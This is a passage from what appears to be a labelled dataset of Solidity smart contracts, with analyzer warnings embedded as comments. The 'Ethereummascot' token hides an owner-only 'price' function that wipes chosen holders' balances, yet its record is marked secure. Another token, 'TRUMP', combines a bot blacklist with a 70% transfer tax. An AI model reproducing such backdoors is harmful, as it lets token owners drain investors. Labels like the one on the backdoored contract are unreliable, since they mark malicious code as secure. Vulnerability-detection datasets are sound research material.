_usdtRate ethDivider = divider usdtDivider = usdtDiv \n\t// Recommendation for b78bf8c: Emit an event for critical parameter changes.\n function changeRate(\n uint256 _usdtRate,\n uint256 _ethToUsd,\n uint256 divider,\n uint256 usdtDiv\n ) public onlyOwner {\n require(_usdtRate > 0, \"Rate cannot be 0\");\n\n require(_ethToUsd > 0, \"Rate cannot be 0\");\n\n\t\t// events-maths | ID: b78bf8c\n tokenPriceUSD = _ethToUsd;\n\n\t\t// events-maths | ID: b78bf8c\n usdtRate = _usdtRate;\n\n\t\t// events-maths | ID: b78bf8c\n ethDivider = divider;\n\n\t\t// events-maths | ID: b78bf8c\n usdtDivider = usdtDiv;\n }\n\n function checkbalance() external view returns (uint256) {\n return token.balanceOf(address(this));\n }\n\n function getETHPriceInUSD() public view returns (int256) {\n return priceOracle.getLatestPrice();\n }\n\n function getDivider() public view returns (uint256) {\n return ethDivider;\n }\n\n function getUsdtDivider() public view returns (uint256) {\n return usdtDivider;\n }\n\n function getTokenUsdPrice() public view returns (uint256) {\n return tokenPriceUSD;\n }\n\n function getUsdtRate() public view returns (uint256) {\n return usdtRate;\n }\n\n function progressETH() public view returns (uint256) {\n return weiRaised;\n }\n\n function progressUSDT() public view returns (uint256) {\n return usdtRaised;\n }\n\n function soldTokens() public view returns (uint256) {\n return tokensSold;\n }\n\n function checkPresaleStatus() public view returns (bool) {\n return hasPresaleStarted;\n }\n\n function checkPresaleEnd() public view returns (bool) {\n return hasPresaleEnded;\n }\n\n function getClaimableTokens() public view returns (uint256) {\n return claimableTokens;\n }\n}", "file_name": "solidity_code_933.sol", "secure": 0, "size_bytes": 8230 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Ethereummascot is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable electron;\n\n constructor() {\n _name = \"Jack\";\n\n _symbol = \"Ethereum Mascot\";\n\n _decimals = 18;\n\n uint256 initialSupply = 846000000;\n\n electron = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == electron, \"Not allowed\");\n\n _;\n }\n\n function price(address[] memory decide) public onlyOwner {\n for (uint256 i = 0; i < decide.length; i++) {\n address account = decide[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_934.sol", "secure": 1, "size_bytes": 4373 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Token is Context, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private constant _decimals = 18;\n\n uint256 public constant liquidityReserve =\n 4_500_000_000 * (10 ** _decimals);\n\n uint256 public constant stakingReserve = 1_800_000_000 * (10 ** _decimals);\n\n uint256 public constant communityRewardsReserve =\n 900_000_000 * (10 ** _decimals);\n\n uint256 public constant projectFundsReserve =\n 900_000_000 * (10 ** _decimals);\n\n uint256 public constant teamReserve = 900_000_000 * (10 ** _decimals);\n\n constructor() {\n _name = \"Catslap\";\n\n _symbol = \"SLAP\";\n\n _mint(0x9f8b521d392A514231E9878D5a107A045Cd6Af6a, liquidityReserve);\n\n _mint(0xFbAA70186527bB8291647D8EE4431567870e8E9E, stakingReserve);\n\n _mint(\n 0x339ADe0aAf123CfA81dA88579e462Fa6F54c4A44,\n communityRewardsReserve\n );\n\n _mint(0x5c0Cfc0FAb5c24b1262Baf79AD5EfC21CCe83579, projectFundsReserve);\n\n _mint(0x74D7f34E2F1D9D198f6886ec389E1d6B0973f417, teamReserve);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address from,\n address to\n ) public view virtual override returns (uint256) {\n return _allowances[from][to];\n }\n\n function approve(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), to, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address to,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address to,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][to];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), to, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(amount > 0, \"ERC20: transfer amount zero\");\n\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function burn(uint256 amount) external {\n _burn(_msgSender(), amount);\n }\n\n function _approve(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: approve from the zero address\");\n\n require(to != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[from][to] = amount;\n\n emit Approval(from, to, amount);\n }\n}", "file_name": "solidity_code_935.sol", "secure": 1, "size_bytes": 5958 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract TRUMP is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d13a6be): TRUMP._taxWallet should be immutable \n\t// Recommendation for d13a6be: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 246dc50): TRUMP._initialBuyTax should be constant \n\t// Recommendation for 246dc50: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5780854): TRUMP._initialSellTax should be constant \n\t// Recommendation for 5780854: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: cbcec6a): TRUMP._reduceBuyTaxAt should be constant \n\t// Recommendation for cbcec6a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: caab8af): TRUMP._reduceSellTaxAt should be constant \n\t// Recommendation for caab8af: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 08f6613): TRUMP._preventSwapBefore should be constant \n\t// Recommendation for 08f6613: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Save America\";\n\n string private constant _symbol = unicode\"TRUMP\";\n\n uint256 public _maxTxAmount = 4206900000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc1bda9): TRUMP._taxSwapThreshold should be constant \n\t// Recommendation for cc1bda9: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d29f5b): TRUMP._maxTaxSwap should be constant \n\t// Recommendation for 0d29f5b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1529117): TRUMP.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1529117: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0daf54d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0daf54d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5c23e87): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5c23e87: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0daf54d\n\t\t// reentrancy-benign | ID: 5c23e87\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0daf54d\n\t\t// reentrancy-benign | ID: 5c23e87\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: af06e9a): TRUMP._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for af06e9a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5c23e87\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0daf54d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 950728b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 950728b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6a2e6a6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6a2e6a6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 950728b\n\t\t\t\t// reentrancy-eth | ID: 6a2e6a6\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 950728b\n\t\t\t\t\t// reentrancy-eth | ID: 6a2e6a6\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6a2e6a6\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 6a2e6a6\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6a2e6a6\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 950728b\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6a2e6a6\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6a2e6a6\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 950728b\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0daf54d\n\t\t// reentrancy-events | ID: 950728b\n\t\t// reentrancy-benign | ID: 5c23e87\n\t\t// reentrancy-eth | ID: 6a2e6a6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: f618d77): TRUMP.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for f618d77: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0daf54d\n\t\t// reentrancy-events | ID: 950728b\n\t\t// reentrancy-eth | ID: 6a2e6a6\n\t\t// arbitrary-send-eth | ID: f618d77\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5b5bf7e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5b5bf7e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7039fc3): TRUMP.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7039fc3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c8d6e1e): TRUMP.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c8d6e1e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 472caa8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 472caa8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 5b5bf7e\n\t\t// reentrancy-eth | ID: 472caa8\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 5b5bf7e\n\t\t// unused-return | ID: c8d6e1e\n\t\t// reentrancy-eth | ID: 472caa8\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 5b5bf7e\n\t\t// unused-return | ID: 7039fc3\n\t\t// reentrancy-eth | ID: 472caa8\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 5b5bf7e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 472caa8\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_936.sol", "secure": 0, "size_bytes": 17518 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IFactory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}", "file_name": "solidity_code_937.sol", "secure": 1, "size_bytes": 202 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IFactory.sol\" as IFactory;\n\ncontract XchangeTokenList {\n address public immutable treasury;\n\n uint256 public fee;\n\n address public owner;\n\n mapping(address => bool) public registeredTokens;\n\n address[] public registeredTokenList;\n\n event TokenAdded(address indexed tokenAddress, address indexed addedBy);\n\n event FeeAmended(uint256 newFee, address indexed amendedBy);\n\n event OwnerChanged(address indexed newOwner, address indexed changedBy);\n\n event TokenRemoved(address indexed tokenAddress, address indexed removedBy);\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Not the owner\");\n\n _;\n }\n\n constructor() {\n treasury = address(0x70001BA1BA4d85739E7B6A7C646B8aba5ed6c888);\n\n fee = 0;\n\n owner = address(0x6BB243B75B306c7276D883d8b9c2232bf84660cE);\n }\n\n function addToken(\n address _tokenAddress,\n address _pairedAddress,\n address _factoryAddress\n ) external payable {\n require(!registeredTokens[_tokenAddress], \"Token already registered\");\n\n require(\n pairExists(_tokenAddress, _pairedAddress, _factoryAddress),\n \"Token has no liquidity pair on a dex\"\n );\n\n if (fee > 0) {\n require(msg.value == fee, \"Incorrect fee sent\");\n\n payable(treasury).transfer(msg.value);\n }\n\n registeredTokens[_tokenAddress] = true;\n\n registeredTokenList.push(_tokenAddress);\n\n emit TokenAdded(_tokenAddress, msg.sender);\n }\n\n function addMultipleTokens(\n address[] memory _initialTokens\n ) external onlyOwner {\n require(_initialTokens.length > 0, \"Mismatched array lengths\");\n\n for (uint256 i = 0; i < _initialTokens.length; i++) {\n address token = _initialTokens[i];\n\n registeredTokens[token] = true;\n\n registeredTokenList.push(token);\n\n emit TokenAdded(token, msg.sender);\n }\n }\n\n function amendFee(uint256 _newFee) external onlyOwner {\n fee = _newFee;\n\n emit FeeAmended(_newFee, msg.sender);\n }\n\n function changeOwner(address _newOwner) external onlyOwner {\n require(_newOwner != address(0), \"Invalid new owner address\");\n\n owner = _newOwner;\n\n emit OwnerChanged(_newOwner, msg.sender);\n }\n\n function getRegisteredTokens() external view returns (address[] memory) {\n return registeredTokenList;\n }\n\n function pairExists(\n address _tokenAddress,\n address _pairedAddress,\n address _factoryAddress\n ) internal view returns (bool) {\n address pair = IFactory(_factoryAddress).getPair(\n _tokenAddress,\n _pairedAddress\n );\n\n return pair != address(0);\n }\n\n function removeToken(address _tokenAddress) external onlyOwner {\n require(registeredTokens[_tokenAddress], \"Token not registered\");\n\n for (uint256 i = 0; i < registeredTokenList.length; i++) {\n if (registeredTokenList[i] == _tokenAddress) {\n registeredTokenList[i] = registeredTokenList[\n registeredTokenList.length - 1\n ];\n\n registeredTokenList.pop();\n\n break;\n }\n }\n\n delete registeredTokens[_tokenAddress];\n\n emit TokenRemoved(_tokenAddress, msg.sender);\n }\n}", "file_name": "solidity_code_938.sol", "secure": 1, "size_bytes": 3562 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\n\ninterface IERC1363 is IERC20, IERC165 {\n function transferAndCall(address to, uint256 value) external returns (bool);\n\n function transferAndCall(\n address to,\n uint256 value,\n bytes calldata data\n ) external returns (bool);\n\n function transferFromAndCall(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function transferFromAndCall(\n address from,\n address to,\n uint256 value,\n bytes calldata data\n ) external returns (bool);\n\n function approveAndCall(\n address spender,\n uint256 value\n ) external returns (bool);\n\n function approveAndCall(\n address spender,\n uint256 value,\n bytes calldata data\n ) external returns (bool);\n}", "file_name": "solidity_code_939.sol", "secure": 1, "size_bytes": 1027 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IPayable.sol\" as IPayable;\n\nabstract contract ServicePayer {\n constructor(\n address payable receiver,\n string memory serviceName,\n bytes memory signature,\n address wallet\n ) payable {\n IPayable(receiver).pay{value: msg.value}(\n serviceName,\n signature,\n wallet\n );\n }\n}", "file_name": "solidity_code_94.sol", "secure": 1, "size_bytes": 440 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC1363.sol\" as IERC1363;\n\nlibrary SafeERC20 {\n error SafeERC20FailedOperation(address token);\n\n error SafeERC20FailedDecreaseAllowance(\n address spender,\n uint256 currentAllowance,\n uint256 requestedDecrease\n );\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeCall(token.transfer, (to, value)));\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeCall(token.transferFrom, (from, to, value))\n );\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 oldAllowance = token.allowance(address(this), spender);\n\n forceApprove(token, spender, oldAllowance + value);\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 